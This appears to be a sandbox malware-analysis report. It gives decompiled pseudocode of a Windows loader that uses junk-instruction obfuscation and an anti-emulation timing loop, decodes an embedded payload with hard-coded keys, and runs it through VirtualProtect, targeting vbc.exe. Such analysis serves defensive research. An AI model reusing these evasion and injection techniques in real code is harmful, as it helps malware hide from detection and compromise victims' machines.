0x0040224d
0x00402255
0x0040225e
0x0040225e
0x00402267
0x0040226d
0x00402273
0x00402278
0x00402280
0x00402289
0x00402289
0x00402292
0x00402298
0x0040229e
0x004022a3
0x004022ab
0x004022b4
0x004022b4
0x004022bd
0x004022c3
0x004022c9
0x004022ce
0x004022d6
0x004022df
0x004022df
0x004022e8
0x004022f1
0x004022fa
0x00402300
0x00402306
0x0040230b
0x00402313
0x0040231c
0x0040231c
0x00402325
0x0040232b
0x00402331
0x00402336
0x0040233e
0x00402347
0x00402347
0x00402350
0x00402356
0x0040235c
0x00402361
0x00402369
0x00402372
0x00402372
0x0040237b
0x00402381
0x00402387
0x0040238c
0x00402394
0x0040239d
0x0040239d
0x004023a6
0x004023ac
0x004023b2
0x004023b7
0x004023bf
0x004023c8
0x004023c8
0x004023d1
0x004023da
0x004023e3
0x004023e9
0x004023ef
0x004023f4
0x004023fc
0x00402405
0x00402405
0x0040240e
0x00402414
0x0040241a
0x0040241f
0x00402427
0x00402430
0x00402430
0x00402439
0x0040243f
0x00402445
0x0040244a
0x00402452
0x0040245b
0x0040245b
0x00402464
0x0040246a
0x00402470
0x00402475
0x0040247d
0x00402486
0x00402486
0x0040248f
0x00402495
0x0040249b
0x004024a0
0x004024a8
0x004024b1
0x004024b1
0x004024ba
0x004024c3
0x004024cc
0x004024d2
0x004024d8
0x004024dd
0x004024e5
0x004024ee
0x004024ee
0x004024f7
0x004024fd
0x00402503
0x00402508
0x00402510
0x00402519
0x00402519
0x00402522
0x00402528
0x0040252e
0x00402533
0x0040253b
0x00402544
0x00402544
0x0040254d
0x00402553
0x00402559
0x0040255e
0x00402566
0x0040256f
0x0040256f
0x00402578
0x0040257e
0x00402584
0x00402589
0x00402591
0x0040259a
0x0040259a
0x004025a3
0x004025ac
0x004025b5
0x004025bb
0x004025c1
0x004025c6
0x004025ce
0x004025d7
0x004025d7
0x004025e0
0x004025e6
0x004025ec
0x004025f1
0x004025f9
0x00402602
0x00402602
0x0040260b
0x00402611
0x00402617
0x0040261c
0x00402624
0x0040262d
0x0040262d
0x00402636
0x0040263c
0x00402642
0x00402647
0x0040264f
0x00402658
0x00402658
0x00402661
0x00402667
0x0040266d
0x00402672
0x0040267a
0x00402683
0x00402683
0x0040268c
0x00402695
0x0040269e
0x004026a4
0x004026aa
0x004026af
0x004026b7
0x004026c0
0x004026c0
0x004026c9
0x004026cf
0x004026d5
0x004026da
0x004026e2
0x004026eb
0x004026eb
0x004026f4
0x004026fa
0x00402700
0x00402705
0x0040270d
0x00402716
0x00402716
0x0040271f
0x00402725
0x0040272b
0x00402730
0x00402738
0x00402741
0x00402741
0x0040274a
0x00402750
0x00402756
0x0040275b
0x00402763
0x0040276c
0x0040276c
0x00402775
0x0040277e
0x00402787
0x0040278d
0x00402793
0x00402798
0x004027a0
0x004027a9
0x004027a9
0x004027b2
0x004027b8
0x004027be
0x004027c3
0x004027cb
0x004027d4
0x004027d4
0x004027dd
0x004027e3
0x004027e9
0x004027ee
0x004027f6
0x004027ff
0x004027ff
0x00402808
0x0040280e
0x00402814
0x00402819
0x00402821
0x0040282a
0x0040282a
0x00402833
0x00402839
0x0040283f
0x00402844
0x0040284c
0x00402855
0x00402855
0x00402858
0x0040285c
0x00402860
0x00402864
0x00402868
0x0040286c
0x00402870
0x00402874
0x00402878
0x0040287c
0x00402880
0x00402884
0x00402888
0x0040288c
0x0040289e
0x004028af
0x004028b8
0x004028c1
0x004028cb
0x004028d4
0x004028dd
0x004028e7
0x004028f0
0x004028fa
0x00402903
0x0040290d
0x00402916
0x00402920
0x00402933
0x0040293d
0x00402946
0x0040294f
0x0040289b
0x0040289b
0x00402962
0x00402965
0x0040297a
0x0040298d
0x0040299a

APIs

GetModuleHandleA.KERNEL32(0000003D), ref: 0040295C
GetProcAddress.KERNEL32(?,0000002C), ref: 00402974
VirtualProtect.KERNELBASE(?,?,00000040,00000000), ref: 0040298D

Strings

', xrefs: 0040287C
?, xrefs: 00402006
5, xrefs: 00402012
-, xrefs: 00402868
,, xrefs: 00401FFE
0, xrefs: 0040202A
=, xrefs: 00402858
:, xrefs: 0040201E
2, xrefs: 00402016
3, xrefs: 00402002
8, xrefs: 00402026
+, xrefs: 0040285C
4, xrefs: 00402022

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID: '$+$,$-$0$2$3$4$5$8$:$=$?
API String ID: 2099061454-2536920922
Opcode ID: ec735675a5624b78d858046d75246a3b81584bd8119b67661729ee8ceaab1420
Instruction ID: f2d674b4812329e8df8546553d5654cfb4636648c3af72cbc9744055478685aa
Opcode Fuzzy Hash: ec735675a5624b78d858046d75246a3b81584bd8119b67661729ee8ceaab1420
Instruction Fuzzy Hash: E1B29D70A49149DFDB008B95FA882EDBF70FB95391F9282A5D5D5360AAC3780172CF1E

Uniqueness

Uniqueness Score: -1.00%

Function 004031C0 Relevance: 8.0, APIs: 2, Strings: 2, Instructions: 1003
sleepCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E004031C0(intOrPtr __edx) {
				intOrPtr _v8;
				signed char _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				intOrPtr _v36;
				char* _v40;
				intOrPtr _v56;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				long _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				long _v100;
				intOrPtr _v104;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				long _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				long _v140;
				intOrPtr _v148;
				intOrPtr _v152;
				signed char _t533;
				intOrPtr _t534;
				void* _t540;
				intOrPtr _t544;

				_t544 = __edx;
				_t533 = FreeConsole(); // executed
				_v40 = L"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe";
				_v76 =  *0x417d10;
				_v76 =  *0x417d0c;
				_v76 =  *0x417d08;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v76 =  *0x417d04;
					_v76 =  *0x417d00;
				}
				_v76 =  *0x417cfc;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v76 =  *0x417cf8;
					_v76 =  *0x417cf4;
				}
				_v76 =  *0x417cf0;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v76 =  *0x417cec;
					_v76 =  *0x417ce8;
				}
				_v76 =  *0x417ce4;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v76 =  *0x417ce0;
					_v76 =  *0x417cdc;
				}
				_v76 =  *0x417cd8;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v76 =  *0x417cd4;
					_v76 =  *0x417cd0;
				}
				_v72 =  *0x417ccc;
				_v72 =  *0x417cc8;
				_v72 =  *0x417cc4;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v72 =  *0x417cc0;
					_v72 =  *0x417cbc;
				}
				_v72 =  *0x417cb8;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v72 =  *0x417cb4;
					_v72 =  *0x417cb0;
				}
				_v72 =  *0x417cac;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v72 =  *0x417ca8;
					_v72 =  *0x417ca4;
				}
				_v72 =  *0x417ca0;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v72 =  *0x417c9c;
					_v72 =  *0x417c98;
				}
				_v72 =  *0x417c94;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v72 =  *0x417c90;
					_v72 =  *0x417c8c;
				}
				_v28 =  *0x417c88;
				_v28 =  *0x417c84;
				_v28 =  *0x417c80;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v28 =  *0x417c7c;
					_v28 =  *0x417c78;
				}
				_v28 =  *0x417c74;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v28 =  *0x417c70;
					_v28 =  *0x417c6c;
				}
				_v28 =  *0x417c68;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v28 =  *0x417c64;
					_v28 =  *0x417c60;
				}
				_v28 =  *0x417c5c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v28 =  *0x417c58;
					_v28 =  *0x417c54;
				}
				_v28 =  *0x417c50;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v28 =  *0x417c4c;
					_v28 =  *0x417c48;
				}
				_v16 =  *0x417c44;
				_v16 =  *0x417c40;
				_v16 =  *0x417c3c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v16 =  *0x417c38;
					_v16 =  *0x417c34;
				}
				_v16 =  *0x417c30;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v16 =  *0x417c2c;
					_v16 =  *0x417c28;
				}
				_v16 =  *0x417c24;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v16 =  *0x417c20;
					_v16 =  *0x417c1c;
				}
				_v16 =  *0x417c18;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v16 =  *0x417c14;
					_v16 =  *0x417c10;
				}
				_v16 =  *0x417c0c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v16 =  *0x417c08;
					_v16 =  *0x417c04;
				}
				_v68 =  *0x417c00;
				_v68 =  *0x417bfc;
				_v68 =  *0x417bf8;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v68 =  *0x417bf4;
					_v68 =  *0x417bf0;
				}
				_v68 =  *0x417bec;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v68 =  *0x417be8;
					_v68 =  *0x417be4;
				}
				_v68 =  *0x417be0;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v68 =  *0x417bdc;
					_v68 =  *0x417bd8;
				}
				_v68 =  *0x417bd4;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v68 =  *0x417bd0;
					_v68 =  *0x417bcc;
				}
				_v68 =  *0x417bc8;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v68 =  *0x417bc4;
					_v68 =  *0x417bc0;
				}
				_v8 =  *0x417bbc;
				_v8 =  *0x417bb8;
				_v8 =  *0x417bb4;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v8 =  *0x417bb0;
					_v8 =  *0x417bac;
				}
				_v8 =  *0x417ba8;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v8 =  *0x417ba4;
					_v8 =  *0x417ba0;
				}
				_v8 =  *0x417b9c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v8 =  *0x417b98;
					_v8 =  *0x417b94;
				}
				_v8 =  *0x417b90;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v8 =  *0x417b8c;
					_v8 =  *0x417b88;
				}
				_v8 =  *0x417b84;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v8 =  *0x417b80;
					_v8 =  *0x417b7c;
				}
				_v36 =  *0x417b78;
				_v36 =  *0x417b74;
				_v36 =  *0x417b70;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v36 =  *0x417b6c;
					_v36 =  *0x417b68;
				}
				_v36 =  *0x417b64;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v36 =  *0x417b60;
					_v36 =  *0x417b5c;
				}
				_v36 =  *0x417b58;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v36 =  *0x417b54;
					_v36 =  *0x417b50;
				}
				_v36 =  *0x417b4c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v36 =  *0x417b48;
					_v36 =  *0x417b44;
				}
				_v36 =  *0x417b40;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v36 =  *0x417b3c;
					_v36 =  *0x417b38;
				}
				_v56 =  *0x417b34;
				_v56 =  *0x417b30;
				_v56 =  *0x417b2c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v56 =  *0x417b28;
					_v56 =  *0x417b24;
				}
				_v56 =  *0x417b20;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v56 =  *0x417b1c;
					_v56 =  *0x417b18;
				}
				_v56 =  *0x417b14;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v56 =  *0x417b10;
					_v56 =  *0x417b0c;
				}
				_v56 =  *0x417b08;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v56 =  *0x417b04;
					_v56 =  *0x417b00;
				}
				_v56 =  *0x417afc;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t533 & 0x00000044) == 0) {
					_v56 =  *0x417af8;
					_v56 =  *0x417af4;
				}
				Sleep(0); // executed
				_v80 = 0;
				_v12 = 0;
				_v12 = 0;
				while(_v12 < 0x1a6f9) {
					_v80 = _v80 + 1;
					_t533 = _v12 + 1;
					_v12 = _t533;
				}
				if(_v80 == 0x1a6f9) {
					_v140 = 0;
					_v100 = 0;
					_v96 = 0x590813;
					_v152 =  *0x417af0;
					_v128 = 0;
					_v124 =  *0x417aec;
					_v124 =  *0x417ae8;
					_v124 =  *0x417ae4;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v124 =  *0x417ae0;
						_v124 =  *0x417adc;
					}
					_v124 =  *0x417ad8;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v124 =  *0x417ad4;
						_v124 =  *0x417ad0;
					}
					_v124 =  *0x417acc;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v124 =  *0x417ac8;
						_v124 =  *0x417ac4;
					}
					_v124 =  *0x417ac0;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v124 =  *0x417abc;
						_v124 =  *0x417ab8;
					}
					_v124 =  *0x417ab4;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v124 =  *0x417ab0;
						_v124 =  *0x417aac;
					}
					_v136 =  *0x417aa8;
					_v136 =  *0x417aa4;
					_v136 =  *0x417aa0;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v136 =  *0x417a9c;
						_v136 =  *0x417a98;
					}
					_v136 =  *0x417a94;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v136 =  *0x417a90;
						_v136 =  *0x417a8c;
					}
					_v136 =  *0x417a88;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v136 =  *0x417a84;
						_v136 =  *0x417a80;
					}
					_v136 =  *0x417a7c;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v136 =  *0x417a78;
						_v136 =  *0x417a74;
					}
					_v136 =  *0x417a70;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v136 =  *0x417a6c;
						_v136 =  *0x417a68;
					}
					_v84 =  *0x417a64;
					_v84 =  *0x417a60;
					_v84 =  *0x417a5c;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v84 =  *0x417a58;
						_v84 =  *0x417a54;
					}
					_v84 =  *0x417a50;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v84 =  *0x417a4c;
						_v84 =  *0x417a48;
					}
					_v84 =  *0x417a44;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v84 =  *0x417a40;
						_v84 =  *0x417a3c;
					}
					_v84 =  *0x417a38;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v84 =  *0x417a34;
						_v84 =  *0x417a30;
					}
					_v84 =  *0x417a2c;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v84 =  *0x417a28;
						_v84 =  *0x417a24;
					}
					_v120 =  *0x417a20;
					_v120 =  *0x417a1c;
					_v120 =  *0x417a18;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v120 =  *0x417a14;
						_v120 =  *0x417a10;
					}
					_v120 =  *0x417a0c;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v120 =  *0x417a08;
						_v120 =  *0x417a04;
					}
					_v120 =  *0x417a00;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v120 =  *0x4179fc;
						_v120 =  *0x4179f8;
					}
					_v120 =  *0x4179f4;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v120 =  *0x4179f0;
						_v120 =  *0x4179ec;
					}
					_v120 =  *0x4179e8;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v120 =  *0x4179e4;
						_v120 =  *0x4179e0;
					}
					_v92 =  *0x4179dc;
					_v92 =  *0x4179d8;
					_v92 =  *0x4179d4;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v92 =  *0x4179d0;
						_v92 =  *0x4179cc;
					}
					_v92 =  *0x4179c8;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v92 =  *0x4179c4;
						_v92 =  *0x4179c0;
					}
					_v92 =  *0x4179bc;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v92 =  *0x4179b8;
						_v92 =  *0x4179b4;
					}
					_v92 =  *0x4179b0;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v92 =  *0x4179ac;
						_v92 =  *0x4179a8;
					}
					_v92 =  *0x4179a4;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v92 =  *0x4179a0;
						_v92 =  *0x41799c;
					}
					_v88 =  *0x417998;
					_v88 =  *0x417994;
					_v88 =  *0x417990;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v88 =  *0x41798c;
						_v88 =  *0x417988;
					}
					_v88 =  *0x417984;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v88 =  *0x417980;
						_v88 =  *0x41797c;
					}
					_v88 =  *0x417978;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v88 =  *0x417974;
						_v88 =  *0x417970;
					}
					_v88 =  *0x41796c;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v88 =  *0x417968;
						_v88 =  *0x417964;
					}
					_v88 =  *0x417960;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v88 =  *0x41795c;
						_v88 =  *0x417958;
					}
					_v132 =  *0x417954;
					_v132 =  *0x417950;
					_v132 =  *0x41794c;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v132 =  *0x417948;
						_v132 =  *0x417944;
					}
					_v132 =  *0x417940;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v132 =  *0x41793c;
						_v132 =  *0x417938;
					}
					_v132 =  *0x417934;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v132 =  *0x417930;
						_v132 =  *0x41792c;
					}
					_v132 =  *0x417928;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v132 =  *0x417924;
						_v132 =  *0x417920;
					}
					_v132 =  *0x41791c;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v132 =  *0x417918;
						_v132 =  *0x417914;
					}
					_v148 =  *0x417910;
					_v148 =  *0x41790c;
					_v148 =  *0x417908;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v148 =  *0x417904;
						_v148 =  *0x417900;
					}
					_v148 =  *0x4178fc;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v148 =  *0x4178f8;
						_v148 =  *0x4178f4;
					}
					_v148 =  *0x4178f0;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v148 =  *0x4178ec;
						_v148 =  *0x4178e8;
					}
					_v148 =  *0x4178e4;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v148 =  *0x4178e0;
						_v148 =  *0x4178dc;
					}
					_v148 =  *0x4178d8;
					asm("fcomp qword [0x417258]");
					asm("fnstsw ax");
					if((_t533 & 0x00000044) == 0) {
						_v148 =  *0x4178d4;
						_v148 =  *0x4178d0;
					}
					_t534 = E004018B0(_t533,  &E0041B008, 0x77e); // executed
					_v116 = _t534;
					_v112 = _t544;
					_v104 = E004029A0(E00401810("tjyRiYjxZQ1atMdbL2um0lScF6f9IoaKt4HlT7B8L9R2pfmf2Q7vrjpXoWNJD1XojUYKYKsgO11CWLvMoRGL6Nocre",  &E0041B008, 0x77e, 0x5b));
					E00401000(_t536, "dwARBDHOT7y9AWBCdgCWx1MkegJdYHYLBE9B4m2r3iK36AcTlJEyeOZDRPKM2ke1oQqkNk2TyajCZ7BRGCHhRMLAEr", 0x41b788, 0x21a00); // executed
					_t540 =  *((intOrPtr*)(_v104 +  &E0041B008))(_v40, 0, 0x41b788, 0x5b); // executed
					return _t540;
				}
				return _t533;
			}

0x004031c0
0x004031c9
0x004031cf
0x004031dc
0x004031e5
0x004031ee
0x004031f4
0x004031fa
0x004031ff
0x00403207
0x00403210
0x00403210
0x00403219
0x0040321f
0x00403225
0x0040322a
0x00403232
0x0040323b
0x0040323b
0x00403244
0x0040324a
0x00403250
0x00403255
0x0040325d
0x00403266
0x00403266
0x0040326f
0x00403275
0x0040327b
0x00403280
0x00403288
0x00403291
0x00403291
0x0040329a
0x004032a0
0x004032a6
0x004032ab
0x004032b3
0x004032bc
0x004032bc
0x004032c5
0x004032ce
0x004032d7
0x004032dd
0x004032e3
0x004032e8
0x004032f0
0x004032f9
0x004032f9
0x00403302
0x00403308
0x0040330e
0x00403313
0x0040331b
0x00403324
0x00403324
0x0040332d
0x00403333
0x00403339
0x0040333e
0x00403346
0x0040334f
0x0040334f
0x00403358
0x0040335e
0x00403364
0x00403369
0x00403371
0x0040337a
0x0040337a
0x00403383
0x00403389
0x0040338f
0x00403394
0x0040339c
0x004033a5
0x004033a5
0x004033ae
0x004033b7
0x004033c0
0x004033c6
0x004033cc
0x004033d1
0x004033d9
0x004033e2
0x004033e2
0x004033eb
0x004033f1
0x004033f7
0x004033fc
0x00403404
0x0040340d
0x0040340d
0x00403416
0x0040341c
0x00403422
0x00403427
0x0040342f
0x00403438
0x00403438
0x00403441
0x00403447
0x0040344d
0x00403452
0x0040345a
0x00403463
0x00403463
0x0040346c
0x00403472
0x00403478
0x0040347d
0x00403485
0x0040348e
0x0040348e
0x00403497
0x004034a0
0x004034a9
0x004034af
0x004034b5
0x004034ba
0x004034c2
0x004034cb
0x004034cb
0x004034d4
0x004034da
0x004034e0
0x004034e5
0x004034ed
0x004034f6
0x004034f6
0x004034ff
0x00403505
0x0040350b
0x00403510
0x00403518
0x00403521
0x00403521
0x0040352a
0x00403530
0x00403536
0x0040353b
0x00403543
0x0040354c
0x0040354c
0x00403555
0x0040355b
0x00403561
0x00403566
0x0040356e
0x00403577
0x00403577
0x00403580
0x00403589
0x00403592
0x00403598
0x0040359e
0x004035a3
0x004035ab
0x004035b4
0x004035b4
0x004035bd
0x004035c3
0x004035c9
0x004035ce
0x004035d6
0x004035df
0x004035df
0x004035e8
0x004035ee
0x004035f4
0x004035f9
0x00403601
0x0040360a
0x0040360a
0x00403613
0x00403619
0x0040361f
0x00403624
0x0040362c
0x00403635
0x00403635
0x0040363e
0x00403644
0x0040364a
0x0040364f
0x00403657
0x00403660
0x00403660
0x00403669
0x00403672
0x0040367b
0x00403681
0x00403687
0x0040368c
0x00403694
0x0040369d
0x0040369d
0x004036a6
0x004036ac
0x004036b2
0x004036b7
0x004036bf
0x004036c8
0x004036c8
0x004036d1
0x004036d7
0x004036dd
0x004036e2
0x004036ea
0x004036f3
0x004036f3
0x004036fc
0x00403702
0x00403708
0x0040370d
0x00403715
0x0040371e
0x0040371e
0x00403727
0x0040372d
0x00403733
0x00403738
0x00403740
0x00403749
0x00403749
0x00403752
0x0040375b
0x00403764
0x0040376a
0x00403770
0x00403775
0x0040377d
0x00403786
0x00403786
0x0040378f
0x00403795
0x0040379b
0x004037a0
0x004037a8
0x004037b1
0x004037b1
0x004037ba
0x004037c0
0x004037c6
0x004037cb
0x004037d3
0x004037dc
0x004037dc
0x004037e5
0x004037eb
0x004037f1
0x004037f6
0x004037fe
0x00403807
0x00403807
0x00403810
0x00403816
0x0040381c
0x00403821
0x00403829
0x00403832
0x00403832
0x0040383b
0x00403844
0x0040384d
0x00403853
0x00403859
0x0040385e
0x00403866
0x0040386f
0x0040386f
0x00403878
0x0040387e
0x00403884
0x00403889
0x00403891
0x0040389a
0x0040389a
0x004038a3
0x004038a9
0x004038af
0x004038b4
0x004038bc
0x004038c5
0x004038c5
0x004038ce
0x004038d4
0x004038da
0x004038df
0x004038e7
0x004038f0
0x004038f0
0x004038f9
0x004038ff
0x00403905
0x0040390a
0x00403912
0x0040391b
0x0040391b
0x00403920
0x00403926
0x0040392d
0x00403934
0x00403946
0x00403955
0x00403940
0x00403943
0x00403943
0x00403961
0x00403967
0x00403971
0x00403978
0x00403985
0x0040398b
0x00403998
0x004039a1
0x004039aa
0x004039b0
0x004039b6
0x004039bb
0x004039c3
0x004039cc
0x004039cc
0x004039d5
0x004039db
0x004039e1
0x004039e6
0x004039ee
0x004039f7
0x004039f7
0x00403a00
0x00403a06
0x00403a0c
0x00403a11
0x00403a19
0x00403a22
0x00403a22
0x00403a2b
0x00403a31
0x00403a37
0x00403a3c
0x00403a44
0x00403a4d
0x00403a4d
0x00403a56
0x00403a5c
0x00403a62
0x00403a67
0x00403a6f
0x00403a78
0x00403a78
0x00403a81
0x00403a8d
0x00403a99
0x00403aa5
0x00403aab
0x00403ab0
0x00403ab8
0x00403ac4
0x00403ac4
0x00403ad0
0x00403adc
0x00403ae2
0x00403ae7
0x00403aef
0x00403afb
0x00403afb
0x00403b07
0x00403b13
0x00403b19
0x00403b1e
0x00403b26
0x00403b32
0x00403b32
0x00403b3e
0x00403b4a
0x00403b50
0x00403b55
0x00403b5d
